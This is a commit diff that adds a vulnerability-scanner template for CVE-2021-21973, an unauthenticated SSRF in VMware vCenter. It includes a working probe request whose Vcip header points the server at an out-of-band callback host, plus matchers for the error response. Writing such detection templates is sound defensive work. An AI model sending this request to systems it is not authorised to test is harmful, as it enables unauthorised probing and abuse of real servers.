Added CVE-2021-21973 (#3615)

* Added CVE-2021-21973

* minor update

cves/2021/CVE-2021-21973.yaml

@@ -0,0 +1,33 @@
+id: CVE-2021-21973
+
+info:
+  name: VMware vCenter Unauthenticated SSRF
+  author: pdteam
+  severity: medium
+  description: The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
+    - https://twitter.com/osama_hroot/status/1365586206982082560
+    - https://twitter.com/bytehx343/status/1486582542807420928
+  tags: cve,cve2021,vmware,ssrf,vcenter,oast
+
+requests:
+  - raw:
+      - |
+        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
+        Host: {{Hostname}}
+        Vcip: {{interactsh-url}}
+        Vcpassword: {{rand_base(6)}}
+        Vcusername: {{rand_base(6)}}
+        Reqresource: {{rand_base(6)}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+
+      - type: word
+        part: body
+        words:
+          - "The server sent HTTP status code 200"